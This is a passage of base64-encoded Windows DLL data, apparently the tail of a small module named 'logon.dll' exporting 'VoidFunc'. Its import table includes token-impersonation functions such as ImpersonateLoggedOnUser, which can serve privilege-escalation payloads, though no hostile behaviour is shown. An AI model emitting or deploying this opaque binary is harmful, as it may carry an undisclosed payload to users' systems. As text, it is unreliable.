FOdFN0YXR1c1RvV2luRXJyb3IAEgJPcGVuUHJvY2Vzc1Rva2VuAABvAUdldFRva2VuSW5mb3JtYXRpb24AiQFJbXBlcnNvbmF0ZUxvZ2dlZE9uVXNlcgBBRFZBUEkzMi5kbGwAADwBRW5jb2RlUG9pbnRlcgAXAURlY29kZVBvaW50ZXIA4gFHZXRDb21tYW5kTGluZUEAKAJHZXRDdXJyZW50VGhyZWFkSWQAAEgEUmFpc2VFeGNlcHRpb24AALoEUnRsVW53aW5kAIMDSXNEZWJ1Z2dlclByZXNlbnQAiANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AG0DSW50ZXJsb2NrZWREZWNyZW1lbnQAAG0BRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAALUCR2V0UHJvY0FkZHJlc3MAAOwDTXVsdGlCeXRlVG9XaWRlQ2hhcgBWA0hlYXBTaXplAADdAkdldFN0ZEhhbmRsZQAAfQJHZXRNb2R1bGVGaWxlTmFtZVcAAFEDSGVhcEZyZWUAAE0DSGVhcEFsbG9jABcFU2V0TGFzdEVycm9yAABxA0ludGVybG9ja2VkSW5jcmVtZW50AAC6AkdldFByb2Nlc3NIZWFwAABXAkdldEZpbGVUeXBlAGYDSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAeAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgDXAkdldFN0YXJ0dXBJbmZvVwB8AkdldE1vZHVsZUZpbGVOYW1lQQAAPARRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAkAkdldEN1cnJlbnRQcm9jZXNzSWQA9AJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBAAkdldEVudmlyb25tZW50U3RyaW5nc1cAALcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cA3QVXaWRlQ2hhclRvTXVsdGlCeXRlAJAFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABQBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBvBVRlcm1pbmF0ZVByb2Nlc3MAAIEFVGxzQWxsb2MAAIMFVGxzR2V0VmFsdWUAhAVUbHNTZXRWYWx1ZQCCBVRsc0ZyZWUAgQJHZXRNb2R1bGVIYW5kbGVXAABAAU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Iz1jPiM+YzAMAAAKgBAAA4MTwxQDFMMVAxVDFYMWQxaDFsMbwxxDHMMdQx3DHkMewx9DH8MQQyDDIUMhwyJDIsMjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNMM1QzXDNkM2wzdDN8M4QzjDOUM5wzpDOsM7QzvDPEM8wz1DPcM+Qz7DP0M/wzBDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY8NkQ2TDZUNlw2ZDZsNnQ2fDYQPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/bD9wP3Q/eD98P4A/hD+IP5w/oD+kP6g/rD+wP7Q/uD+8P8A/xD/sP/A/9D8AAADQAACEAAAADDAQMMw41DjcOOQ47Dj0OPw4BDkMORQ5HDkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXQ5fDk8PkA+RD5IPlw+YD5kPmg+HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwDgAABgAwAABDAMMBQwHDAkMCwwNDA8MEQwTDBUMFwwZDBsMHQwfDCEMIwwlDCcMKQwrDC0MLwwxDDMMNQw3DDkMOww9DD8MAQxDDEUMRwxJDEsMTQxPDFEMUwxVDFcMWQxbDF0MXwxhDGMMZQxnDGkMawxtDG8McQxzDHUMdwx5DHsMfQx/DEEMgwyFDIcMiQyLDI0MjwyRDJMMlQyXDJkMmwydDJ8MoQyjDKUMpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY4NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbINtA22DbgNug28Db4NgA3CDcQNxg3IDcoNzA3ODdAN0g3UDdYN2A3aDdwN3g3gDeIN5A3mDegN6g3sDe4N8A3yDfQN9g34DfoN/A3+DcAOAg4EDgYOCA4KDgwODg4QDhIOFA4WDhgOGg4cDh4OIA4iDiQOJg4oDioOLA4uDjAOMg40DjYOOA46DjwOPg4ADkIORA5GDkgOSg5MDk4OUA5SDlQOVg5YDloOXA5eDmAOYg5kDmYOaA5qDmwObg5wDnIOdA52DngOeg58Dn4OQA6CDoQOhg6IDooOjA6ODpAOkg6UDpYOmA6aDpwOng6gDqIOpA6mDqgOqg6sDq4OsA6yDrQOtg64DroOvA6+DoAOwg7EDsYOyA7KDswOzg7QDtIO1A7WDtgO2g7cDt4O4A7iDuQO5g7oDuoO7A7uDvAO8g70DvYO+A76DvwO/g7ADwIPBA8GDwgPCg8MDw4PEA8SDxQPFg8YDxoPHA8eDyAPIg8kDyYPKA8qDywPLg8wDzIPNA82DzgPOg88Dz4PAA9CD0QPRg9ID0oPTA9OD1APUg9UD0AAADwAAA4AAAAoD+kP6g/rD+wP7Q/uD+8P8A/xD/IP8w/0D/UP9g/3D/gP+Q/6D/sP/A/9D/4P/w/AAABAJwAAAAAMAQwCDAMMBAwFDAYMBwwIDAkMCgwLDAwMDQwODA8MEAwRDBIMEwwUDBUMFgwXDBgMGQwaDBsMHAwdDB4MHwwgDCEMIgwjDCQMJQwmDCcMKAwpDCoMKwwsDC0MLgwvDDAMMQwyDDMMNAw1DDYMNww4DDkMOgw7DDwMPQw+DD8MAAxBDEIMQwxEDEUMRgxHDEgMSQxABABAFABAAAENgg2mDawNsA2xDbYNtw27DbwNvQ2/DYUNyQ3KDc4Nzw3QDdIN2A3cDd0N4Q3iDeMN5A3mDewN8A3xDfUN9g33DfgN+g3ADgQOBQ4JDgoODA4SDhYOFw4bDhwOIA4hDiIOJA4qDi4OLw41DjkOOg47DjwOAQ5CDkMOSQ5KDlAOVA5VDlkOWg5bDl0OYw5nDmsObA5tDm4Ocw50DnUOdg5FDocOiQ6KDowOkQ6TDpgOmg6fDqEOow6lDqYOpw6pDq4OsA6yDrQOtQ62DrgOvQ6EDswO0w7UDtwO5A7sDu8O9g75DsAPBw8IDw8PEA8YDxoPGw8iDyQPJQ8rDywPMw80DzgPAQ9ED0YPUQ9SD1QPVg9YD1kPWw9gD2gPbw9wD3gPQA+ID5APmA+gD6gPqw+yD7oPgg/KD9IP2g/dD98P8A/1D/kP/Q/ADABADQBAAAAMBwwODBYMHgwoDDgMOQwsDLwM/Qz+DP8MwA0BDQINAw0EDQUNBg0QDlIOcg7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDxgPGQ8aDxsPHA8fDyAPIQ8iDyMPJA8lDyYPJw8oDykPKg8rDywPLQ8uDy8PMA8xDzIPMw80DzUPNg83DzgPOQ86DzsPPA89Dz4PPw8AD0EPQg9DD0QPRQ9GD0cPSA9JD0oPSw9VD1kPXQ9hD2UPbQ9wD3EPcg9zD0APgg+DD4QPhQ+GD4cPiA+JD4oPiw+OD48PkA+RD5IPkw+UD5UPlw+YD5oPnA+nD7IPuw+GD8cPyA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA